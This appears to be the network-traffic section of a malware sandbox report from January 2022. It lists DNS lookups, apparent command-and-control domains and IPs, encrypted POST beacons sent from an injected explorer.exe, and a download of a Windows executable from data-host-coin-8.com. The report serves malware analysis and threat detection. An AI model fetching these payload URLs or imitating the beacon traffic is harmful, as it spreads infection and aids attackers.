Jan 6, 2022 21:05:28.269175053 CET	53	59185	8.8.8.8	192.168.2.4

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class
Jan 6, 2022 21:03:44.087964058 CET	192.168.2.4	8.8.8.8	0x276b	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Jan 6, 2022 21:03:45.129863024 CET	192.168.2.4	8.8.8.8	0xfbea	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Jan 6, 2022 21:03:45.893234968 CET	192.168.2.4	8.8.8.8	0xe514	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Jan 6, 2022 21:03:46.644789934 CET	192.168.2.4	8.8.8.8	0x7b1f	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Jan 6, 2022 21:03:47.686779022 CET	192.168.2.4	8.8.8.8	0xc4f0	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Jan 6, 2022 21:03:48.452246904 CET	192.168.2.4	8.8.8.8	0xf92e	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Jan 6, 2022 21:03:50.448467970 CET	192.168.2.4	8.8.8.8	0xe53b	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Jan 6, 2022 21:03:51.213649988 CET	192.168.2.4	8.8.8.8	0xe726	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Jan 6, 2022 21:03:51.965908051 CET	192.168.2.4	8.8.8.8	0x400e	Standard query (0)	data-host-coin-8.com	A (IP address)	IN (0x0001)
Jan 6, 2022 21:03:56.692790031 CET	192.168.2.4	8.8.8.8	0xfe54	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Jan 6, 2022 21:03:57.476418018 CET	192.168.2.4	8.8.8.8	0xb840	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Jan 6, 2022 21:03:58.571448088 CET	192.168.2.4	8.8.8.8	0xd684	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Jan 6, 2022 21:03:59.451236963 CET	192.168.2.4	8.8.8.8	0x2906	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Jan 6, 2022 21:04:00.502439022 CET	192.168.2.4	8.8.8.8	0x5e9	Standard query (0)	privacytools-foryou-777.com	A (IP address)	IN (0x0001)
Jan 6, 2022 21:04:04.067358971 CET	192.168.2.4	8.8.8.8	0x986f	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Jan 6, 2022 21:04:04.825269938 CET	192.168.2.4	8.8.8.8	0x9c6	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Jan 6, 2022 21:04:05.596216917 CET	192.168.2.4	8.8.8.8	0xd133	Standard query (0)	unicupload.top	A (IP address)	IN (0x0001)
Jan 6, 2022 21:04:05.745769978 CET	192.168.2.4	8.8.8.8	0x2f82	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Jan 6, 2022 21:04:06.521249056 CET	192.168.2.4	8.8.8.8	0xe6fd	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Jan 6, 2022 21:04:07.316179991 CET	192.168.2.4	8.8.8.8	0xe158	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Jan 6, 2022 21:04:08.086335897 CET	192.168.2.4	8.8.8.8	0x906c	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Jan 6, 2022 21:04:08.853355885 CET	192.168.2.4	8.8.8.8	0x58a6	Standard query (0)	data-host-coin-8.com	A (IP address)	IN (0x0001)
Jan 6, 2022 21:04:15.147360086 CET	192.168.2.4	8.8.8.8	0xa73	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Jan 6, 2022 21:04:16.100022078 CET	192.168.2.4	8.8.8.8	0xf92e	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Jan 6, 2022 21:04:16.865906000 CET	192.168.2.4	8.8.8.8	0x155c	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Jan 6, 2022 21:04:17.160027981 CET	192.168.2.4	8.8.8.8	0xf710	Standard query (0)	file-file-host4.com	A (IP address)	IN (0x0001)
Jan 6, 2022 21:04:17.659147024 CET	192.168.2.4	8.8.8.8	0xedab	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Jan 6, 2022 21:04:20.490818024 CET	192.168.2.4	8.8.8.8	0xbf49	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Jan 6, 2022 21:04:21.317909002 CET	192.168.2.4	8.8.8.8	0x713d	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Jan 6, 2022 21:04:22.075305939 CET	192.168.2.4	8.8.8.8	0x5e8e	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Jan 6, 2022 21:04:22.863820076 CET	192.168.2.4	8.8.8.8	0x5207	Standard query (0)	cdn.discordapp.com	A (IP address)	IN (0x0001)
Jan 6, 2022 21:04:24.457070112 CET	192.168.2.4	8.8.8.8	0x1251	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Jan 6, 2022 21:04:25.218585968 CET	192.168.2.4	8.8.8.8	0x1f0b	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Jan 6, 2022 21:04:26.284018040 CET	192.168.2.4	8.8.8.8	0xd6e6	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Jan 6, 2022 21:04:35.246290922 CET	192.168.2.4	8.8.8.8	0x6a68	Standard query (0)	microsoft-com.mail.protection.outlook.com	A (IP address)	IN (0x0001)
Jan 6, 2022 21:04:37.904493093 CET	192.168.2.4	8.8.8.8	0xb10c	Standard query (0)	patmushta.info	A (IP address)	IN (0x0001)
Jan 6, 2022 21:04:48.149410963 CET	192.168.2.4	8.8.8.8	0x8180	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Jan 6, 2022 21:04:49.204317093 CET	192.168.2.4	8.8.8.8	0xb551	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Jan 6, 2022 21:04:50.758620977 CET	192.168.2.4	8.8.8.8	0x7e4	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Jan 6, 2022 21:04:51.531812906 CET	192.168.2.4	8.8.8.8	0xc841	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Jan 6, 2022 21:04:52.312217951 CET	192.168.2.4	8.8.8.8	0x4cf8	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Jan 6, 2022 21:04:55.930928946 CET	192.168.2.4	8.8.8.8	0x7591	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Jan 6, 2022 21:04:56.987226963 CET	192.168.2.4	8.8.8.8	0x2382	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Jan 6, 2022 21:04:57.761863947 CET	192.168.2.4	8.8.8.8	0xfc0	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Jan 6, 2022 21:04:58.503036022 CET	192.168.2.4	8.8.8.8	0xa71a	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Jan 6, 2022 21:04:59.257611990 CET	192.168.2.4	8.8.8.8	0xae96	Standard query (0)	bit.ly	A (IP address)	IN (0x0001)
Jan 6, 2022 21:04:59.458297014 CET	192.168.2.4	8.8.8.8	0x413e	Standard query (0)	bitly.com	A (IP address)	IN (0x0001)
Jan 6, 2022 21:04:59.672730923 CET	192.168.2.4	8.8.8.8	0x49a	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Jan 6, 2022 21:05:00.450913906 CET	192.168.2.4	8.8.8.8	0x6f5	Standard query (0)	data-host-coin-8.com	A (IP address)	IN (0x0001)
Jan 6, 2022 21:05:04.315187931 CET	192.168.2.4	8.8.8.8	0x1812	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Jan 6, 2022 21:05:05.395999908 CET	192.168.2.4	8.8.8.8	0x5a98	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Jan 6, 2022 21:05:06.157236099 CET	192.168.2.4	8.8.8.8	0x6744	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Jan 6, 2022 21:05:07.399565935 CET	192.168.2.4	8.8.8.8	0xe95c	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Jan 6, 2022 21:05:09.068491936 CET	192.168.2.4	8.8.8.8	0xc6a7	Standard query (0)	microsoft-com.mail.protection.outlook.com	A (IP address)	IN (0x0001)
Jan 6, 2022 21:05:27.973709106 CET	192.168.2.4	8.8.8.8	0x545d	Standard query (0)	patmushta.info	A (IP address)	IN (0x0001)

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	Address	Type	Class
Jan 6, 2022 21:03:44.394531012 CET	8.8.8.8	192.168.2.4	0x276b	No error (0)	host-data-coin-11.com	198.11.172.78	A (IP address)	IN (0x0001)
Jan 6, 2022 21:03:45.149070024 CET	8.8.8.8	192.168.2.4	0xfbea	No error (0)	host-data-coin-11.com	198.11.172.78	A (IP address)	IN (0x0001)
Jan 6, 2022 21:03:45.911756992 CET	8.8.8.8	192.168.2.4	0xe514	No error (0)	host-data-coin-11.com	198.11.172.78	A (IP address)	IN (0x0001)
Jan 6, 2022 21:03:46.931773901 CET	8.8.8.8	192.168.2.4	0x7b1f	No error (0)	host-data-coin-11.com	198.11.172.78	A (IP address)	IN (0x0001)
Jan 6, 2022 21:03:47.703706026 CET	8.8.8.8	192.168.2.4	0xc4f0	No error (0)	host-data-coin-11.com	198.11.172.78	A (IP address)	IN (0x0001)
Jan 6, 2022 21:03:48.469207048 CET	8.8.8.8	192.168.2.4	0xf92e	No error (0)	host-data-coin-11.com	198.11.172.78	A (IP address)	IN (0x0001)
Jan 6, 2022 21:03:50.466917992 CET	8.8.8.8	192.168.2.4	0xe53b	No error (0)	host-data-coin-11.com	198.11.172.78	A (IP address)	IN (0x0001)
Jan 6, 2022 21:03:51.232356071 CET	8.8.8.8	192.168.2.4	0xe726	No error (0)	host-data-coin-11.com	198.11.172.78	A (IP address)	IN (0x0001)
Jan 6, 2022 21:03:51.984594107 CET	8.8.8.8	192.168.2.4	0x400e	No error (0)	data-host-coin-8.com	198.11.172.78	A (IP address)	IN (0x0001)
Jan 6, 2022 21:03:56.710052967 CET	8.8.8.8	192.168.2.4	0xfe54	No error (0)	host-data-coin-11.com	198.11.172.78	A (IP address)	IN (0x0001)
Jan 6, 2022 21:03:57.791522980 CET	8.8.8.8	192.168.2.4	0xb840	No error (0)	host-data-coin-11.com	198.11.172.78	A (IP address)	IN (0x0001)
Jan 6, 2022 21:03:58.588244915 CET	8.8.8.8	192.168.2.4	0xd684	No error (0)	host-data-coin-11.com	198.11.172.78	A (IP address)	IN (0x0001)
Jan 6, 2022 21:03:59.767494917 CET	8.8.8.8	192.168.2.4	0x2906	No error (0)	host-data-coin-11.com	198.11.172.78	A (IP address)	IN (0x0001)
Jan 6, 2022 21:04:00.521034956 CET	8.8.8.8	192.168.2.4	0x5e9	No error (0)	privacytools-foryou-777.com	198.11.172.78	A (IP address)	IN (0x0001)
Jan 6, 2022 21:04:04.086101055 CET	8.8.8.8	192.168.2.4	0x986f	No error (0)	host-data-coin-11.com	198.11.172.78	A (IP address)	IN (0x0001)
Jan 6, 2022 21:04:04.841764927 CET	8.8.8.8	192.168.2.4	0x9c6	No error (0)	host-data-coin-11.com	198.11.172.78	A (IP address)	IN (0x0001)
Jan 6, 2022 21:04:05.700797081 CET	8.8.8.8	192.168.2.4	0xd133	No error (0)	unicupload.top	54.38.220.85	A (IP address)	IN (0x0001)
Jan 6, 2022 21:04:05.764417887 CET	8.8.8.8	192.168.2.4	0x2f82	No error (0)	host-data-coin-11.com	198.11.172.78	A (IP address)	IN (0x0001)
Jan 6, 2022 21:04:06.540122032 CET	8.8.8.8	192.168.2.4	0xe6fd	No error (0)	host-data-coin-11.com	198.11.172.78	A (IP address)	IN (0x0001)
Jan 6, 2022 21:04:07.332250118 CET	8.8.8.8	192.168.2.4	0xe158	No error (0)	host-data-coin-11.com	198.11.172.78	A (IP address)	IN (0x0001)
Jan 6, 2022 21:04:08.105354071 CET	8.8.8.8	192.168.2.4	0x906c	No error (0)	host-data-coin-11.com	198.11.172.78	A (IP address)	IN (0x0001)
Jan 6, 2022 21:04:09.164911032 CET	8.8.8.8	192.168.2.4	0x58a6	No error (0)	data-host-coin-8.com	198.11.172.78	A (IP address)	IN (0x0001)
Jan 6, 2022 21:04:15.163722038 CET	8.8.8.8	192.168.2.4	0xa73	No error (0)	host-data-coin-11.com	198.11.172.78	A (IP address)	IN (0x0001)
Jan 6, 2022 21:04:16.119079113 CET	8.8.8.8	192.168.2.4	0xf92e	No error (0)	host-data-coin-11.com	198.11.172.78	A (IP address)	IN (0x0001)
Jan 6, 2022 21:04:16.884258986 CET	8.8.8.8	192.168.2.4	0x155c	No error (0)	host-data-coin-11.com	198.11.172.78	A (IP address)	IN (0x0001)
Jan 6, 2022 21:04:17.473305941 CET	8.8.8.8	192.168.2.4	0xf710	No error (0)	file-file-host4.com	198.11.172.78	A (IP address)	IN (0x0001)
Jan 6, 2022 21:04:17.675959110 CET	8.8.8.8	192.168.2.4	0xedab	No error (0)	host-data-coin-11.com	198.11.172.78	A (IP address)	IN (0x0001)
Jan 6, 2022 21:04:20.509411097 CET	8.8.8.8	192.168.2.4	0xbf49	No error (0)	host-data-coin-11.com	198.11.172.78	A (IP address)	IN (0x0001)
Jan 6, 2022 21:04:21.336544991 CET	8.8.8.8	192.168.2.4	0x713d	No error (0)	host-data-coin-11.com	198.11.172.78	A (IP address)	IN (0x0001)
Jan 6, 2022 21:04:22.092238903 CET	8.8.8.8	192.168.2.4	0x5e8e	No error (0)	host-data-coin-11.com	198.11.172.78	A (IP address)	IN (0x0001)
Jan 6, 2022 21:04:22.887846947 CET	8.8.8.8	192.168.2.4	0x5207	No error (0)	cdn.discordapp.com	162.159.135.233	A (IP address)	IN (0x0001)
Jan 6, 2022 21:04:22.887846947 CET	8.8.8.8	192.168.2.4	0x5207	No error (0)	cdn.discordapp.com	162.159.134.233	A (IP address)	IN (0x0001)
Jan 6, 2022 21:04:22.887846947 CET	8.8.8.8	192.168.2.4	0x5207	No error (0)	cdn.discordapp.com	162.159.129.233	A (IP address)	IN (0x0001)
Jan 6, 2022 21:04:22.887846947 CET	8.8.8.8	192.168.2.4	0x5207	No error (0)	cdn.discordapp.com	162.159.133.233	A (IP address)	IN (0x0001)
Jan 6, 2022 21:04:22.887846947 CET	8.8.8.8	192.168.2.4	0x5207	No error (0)	cdn.discordapp.com	162.159.130.233	A (IP address)	IN (0x0001)
Jan 6, 2022 21:04:24.475713968 CET	8.8.8.8	192.168.2.4	0x1251	No error (0)	host-data-coin-11.com	198.11.172.78	A (IP address)	IN (0x0001)
Jan 6, 2022 21:04:25.506037951 CET	8.8.8.8	192.168.2.4	0x1f0b	No error (0)	host-data-coin-11.com	198.11.172.78	A (IP address)	IN (0x0001)
Jan 6, 2022 21:04:26.302438974 CET	8.8.8.8	192.168.2.4	0xd6e6	No error (0)	host-data-coin-11.com	198.11.172.78	A (IP address)	IN (0x0001)
Jan 6, 2022 21:04:35.376940966 CET	8.8.8.8	192.168.2.4	0x6a68	No error (0)	microsoft-com.mail.protection.outlook.com	52.101.24.0	A (IP address)	IN (0x0001)
Jan 6, 2022 21:04:35.376940966 CET	8.8.8.8	192.168.2.4	0x6a68	No error (0)	microsoft-com.mail.protection.outlook.com	40.93.207.0	A (IP address)	IN (0x0001)
Jan 6, 2022 21:04:35.376940966 CET	8.8.8.8	192.168.2.4	0x6a68	No error (0)	microsoft-com.mail.protection.outlook.com	104.47.54.36	A (IP address)	IN (0x0001)
Jan 6, 2022 21:04:35.376940966 CET	8.8.8.8	192.168.2.4	0x6a68	No error (0)	microsoft-com.mail.protection.outlook.com	104.47.53.36	A (IP address)	IN (0x0001)
Jan 6, 2022 21:04:35.376940966 CET	8.8.8.8	192.168.2.4	0x6a68	No error (0)	microsoft-com.mail.protection.outlook.com	40.93.212.0	A (IP address)	IN (0x0001)
Jan 6, 2022 21:04:35.376940966 CET	8.8.8.8	192.168.2.4	0x6a68	No error (0)	microsoft-com.mail.protection.outlook.com	40.93.207.1	A (IP address)	IN (0x0001)
Jan 6, 2022 21:04:37.925005913 CET	8.8.8.8	192.168.2.4	0xb10c	No error (0)	patmushta.info	94.142.141.254	A (IP address)	IN (0x0001)
Jan 6, 2022 21:04:48.167887926 CET	8.8.8.8	192.168.2.4	0x8180	No error (0)	host-data-coin-11.com	198.11.172.78	A (IP address)	IN (0x0001)
Jan 6, 2022 21:04:49.222542048 CET	8.8.8.8	192.168.2.4	0xb551	No error (0)	host-data-coin-11.com	198.11.172.78	A (IP address)	IN (0x0001)
Jan 6, 2022 21:04:50.775494099 CET	8.8.8.8	192.168.2.4	0x7e4	No error (0)	host-data-coin-11.com	198.11.172.78	A (IP address)	IN (0x0001)
Jan 6, 2022 21:04:51.550612926 CET	8.8.8.8	192.168.2.4	0xc841	No error (0)	host-data-coin-11.com	198.11.172.78	A (IP address)	IN (0x0001)
Jan 6, 2022 21:04:52.605201960 CET	8.8.8.8	192.168.2.4	0x4cf8	No error (0)	host-data-coin-11.com	198.11.172.78	A (IP address)	IN (0x0001)
Jan 6, 2022 21:04:56.234678984 CET	8.8.8.8	192.168.2.4	0x7591	No error (0)	host-data-coin-11.com	198.11.172.78	A (IP address)	IN (0x0001)
Jan 6, 2022 21:04:57.005938053 CET	8.8.8.8	192.168.2.4	0x2382	No error (0)	host-data-coin-11.com	198.11.172.78	A (IP address)	IN (0x0001)
Jan 6, 2022 21:04:57.780750990 CET	8.8.8.8	192.168.2.4	0xfc0	No error (0)	host-data-coin-11.com	198.11.172.78	A (IP address)	IN (0x0001)
Jan 6, 2022 21:04:58.521632910 CET	8.8.8.8	192.168.2.4	0xa71a	No error (0)	host-data-coin-11.com	198.11.172.78	A (IP address)	IN (0x0001)
Jan 6, 2022 21:04:59.275687933 CET	8.8.8.8	192.168.2.4	0xae96	No error (0)	bit.ly	67.199.248.10	A (IP address)	IN (0x0001)
Jan 6, 2022 21:04:59.275687933 CET	8.8.8.8	192.168.2.4	0xae96	No error (0)	bit.ly	67.199.248.11	A (IP address)	IN (0x0001)
Jan 6, 2022 21:04:59.477966070 CET	8.8.8.8	192.168.2.4	0x413e	No error (0)	bitly.com	67.199.248.14	A (IP address)	IN (0x0001)
Jan 6, 2022 21:04:59.477966070 CET	8.8.8.8	192.168.2.4	0x413e	No error (0)	bitly.com	67.199.248.15	A (IP address)	IN (0x0001)
Jan 6, 2022 21:04:59.691565037 CET	8.8.8.8	192.168.2.4	0x49a	No error (0)	host-data-coin-11.com	198.11.172.78	A (IP address)	IN (0x0001)
Jan 6, 2022 21:05:00.469481945 CET	8.8.8.8	192.168.2.4	0x6f5	No error (0)	data-host-coin-8.com	198.11.172.78	A (IP address)	IN (0x0001)
Jan 6, 2022 21:05:04.632304907 CET	8.8.8.8	192.168.2.4	0x1812	No error (0)	host-data-coin-11.com	198.11.172.78	A (IP address)	IN (0x0001)
Jan 6, 2022 21:05:05.413085938 CET	8.8.8.8	192.168.2.4	0x5a98	No error (0)	host-data-coin-11.com	198.11.172.78	A (IP address)	IN (0x0001)
Jan 6, 2022 21:05:06.175817966 CET	8.8.8.8	192.168.2.4	0x6744	No error (0)	host-data-coin-11.com	198.11.172.78	A (IP address)	IN (0x0001)
Jan 6, 2022 21:05:07.418545008 CET	8.8.8.8	192.168.2.4	0xe95c	No error (0)	host-data-coin-11.com	198.11.172.78	A (IP address)	IN (0x0001)
Jan 6, 2022 21:05:09.110080957 CET	8.8.8.8	192.168.2.4	0xc6a7	No error (0)	microsoft-com.mail.protection.outlook.com	104.47.54.36	A (IP address)	IN (0x0001)
Jan 6, 2022 21:05:09.110080957 CET	8.8.8.8	192.168.2.4	0xc6a7	No error (0)	microsoft-com.mail.protection.outlook.com	104.47.53.36	A (IP address)	IN (0x0001)
Jan 6, 2022 21:05:09.110080957 CET	8.8.8.8	192.168.2.4	0xc6a7	No error (0)	microsoft-com.mail.protection.outlook.com	40.93.207.1	A (IP address)	IN (0x0001)
Jan 6, 2022 21:05:09.110080957 CET	8.8.8.8	192.168.2.4	0xc6a7	No error (0)	microsoft-com.mail.protection.outlook.com	52.101.24.0	A (IP address)	IN (0x0001)
Jan 6, 2022 21:05:09.110080957 CET	8.8.8.8	192.168.2.4	0xc6a7	No error (0)	microsoft-com.mail.protection.outlook.com	40.93.207.0	A (IP address)	IN (0x0001)
Jan 6, 2022 21:05:09.110080957 CET	8.8.8.8	192.168.2.4	0xc6a7	No error (0)	microsoft-com.mail.protection.outlook.com	40.93.212.0	A (IP address)	IN (0x0001)
Jan 6, 2022 21:05:28.269175053 CET	8.8.8.8	192.168.2.4	0x545d	No error (0)	patmushta.info	94.142.141.254	A (IP address)	IN (0x0001)

HTTP Request Dependency Graph

185.233.81.115

cdn.discordapp.com

bit.ly

bitly.com

oxviqvl.org

host-data-coin-11.com

wyuwpmdb.org

krdkuoepm.com

yepax.com

xwusff.net

aekcskegpq.com

nmfxjx.org

xtlyehd.com

data-host-coin-8.com

yhrhfw.org

buaqqkbu.com

ijkho.com

nyuts.com

privacytools-foryou-777.com

uhimfxcko.org

npwunyjvy.com

unicupload.top

otvft.org

kttrtq.org

krbreodla.org

nxisua.org

gfqscje.com

kdxudv.org

imdtggchnw.org

file-file-host4.com

hcptglaf.com

185.7.214.171:8080

wybru.com

lktljxj.org

ydngxqywbi.org

ebrhhlu.com

hdkawsgnd.com

tsiorcl.com

aoufhnna.com

pbrrrniiwa.net

rxetyrfd.org

bsslew.com

npjkdtjva.com

91.243.44.130

dvqoyx.net

yerbk.org

vsoqas.org

185.7.214.239

vejpuk.com

psonfttwmv.com

xkqahphddq.net

anmaxtt.org

yxbidjlwky.com

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
0	192.168.2.4	49795	185.233.81.115	443	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1	192.168.2.4	49838	162.159.135.233	443	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
10	192.168.2.4	49787	198.11.172.78	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Jan 6, 2022 21:03:50.645535946 CET	1184	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://nmfxjx.org/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 215 Host: host-data-coin-11.com
Jan 6, 2022 21:03:50.645586967 CET	1184	OUT	Data Raw: 10 87 81 98 19 f8 a1 b7 cc 38 76 3a 0d c2 e4 8e 31 10 ac 43 a2 40 6f 98 bd 9a ac fe ff a3 91 f7 68 b7 58 a7 10 1f bf e0 e0 ab f3 dd d0 80 11 1f 77 e5 14 88 d5 da fe b7 dc 6d bd d2 e4 d8 44 d4 75 24 f3 c4 85 de 9b 66 5d 02 c8 a1 c1 64 19 ab c1 26 Data Ascii: 8v:1C@ohXwmDu$f]d&1RI],Dk@dt]blgrK ]Wm+'jEw@[*+6_JI(6G2Vrxo[->_mO1?ob
Jan 6, 2022 21:03:51.205117941 CET	1185	IN	HTTP/1.1 404 Not Found Server: nginx/1.20.1 Date: Thu, 06 Jan 2022 20:03:51 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Data Raw: 31 39 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 6f 73 74 2d 64 61 74 61 2d 63 6f 69 6e 2d 31 31 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 199<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at host-data-coin-11.com Port 80</address></body></html>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
11	192.168.2.4	49788	198.11.172.78	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Jan 6, 2022 21:03:51.404478073 CET	1186	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://xtlyehd.com/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 339 Host: host-data-coin-11.com
Jan 6, 2022 21:03:51.404499054 CET	1186	OUT	Data Raw: 10 87 81 98 19 f8 a1 b7 cc 38 76 3a 0d c2 e4 8e 31 10 ac 43 a2 40 6f 98 bd 9a ac fe ff a3 91 f7 68 b7 58 a7 10 1f bf e0 e0 ab f3 dd d0 80 11 1f 77 e5 14 88 d5 da fe b7 dc 6d bd d2 e4 d8 44 d4 75 24 f3 c4 85 de 98 66 5d 02 c8 a1 c1 64 1a ce ba 11 Data Ascii: 8v:1C@ohXwmDu$f]dUUFZPP3Bhk$O\|VT>c+8G\|=~,:uQ_3Wm<Wi6p*M5mn(i8V]b?GBfQ_^')1vcJO
Jan 6, 2022 21:03:51.956794024 CET	1187	IN	HTTP/1.1 404 Not Found Server: nginx/1.20.1 Date: Thu, 06 Jan 2022 20:03:51 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Data Raw: 34 36 0d 0a 00 00 d3 92 a0 49 bd 3a 38 32 11 af 01 b5 db ad d6 09 4f c5 86 52 06 26 1a ff b5 98 ff a9 1e ad 12 93 3a f9 55 50 99 4a f7 e0 25 e5 39 1a 4c ed a1 88 70 bc 57 dd 43 d4 fa 20 87 20 e7 c3 9a 57 2a e1 a8 1d 63 a9 0d 0a 30 0d 0a 0d 0a Data Ascii: 46I:82OR&:UPJ%9LpWC W*c0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
12	192.168.2.4	49789	198.11.172.78	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Jan 6, 2022 21:03:52.161441088 CET	1187	OUT	GET /files/2184_1641247228_8717.exe HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Host: data-host-coin-8.com
Jan 6, 2022 21:03:52.698257923 CET	1189	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Thu, 06 Jan 2022 20:03:52 GMT Content-Type: application/x-msdos-program Content-Length: 358912 Connection: close Last-Modified: Mon, 03 Jan 2022 22:00:28 GMT ETag: "57a00-5d4b4a60838eb" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e0 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 6b 91 a1 53 2f f0 cf 00 2f f0 cf 00 2f f0 cf 00 31 a2 5a 00 3d f0 cf 00 31 a2 4c 00 57 f0 cf 00 08 36 b4 00 2a f0 cf 00 2f f0 ce 00 ee f0 cf 00 31 a2 4b 00 10 f0 cf 00 31 a2 5b 00 2e f0 cf 00 31 a2 5e 00 2e f0 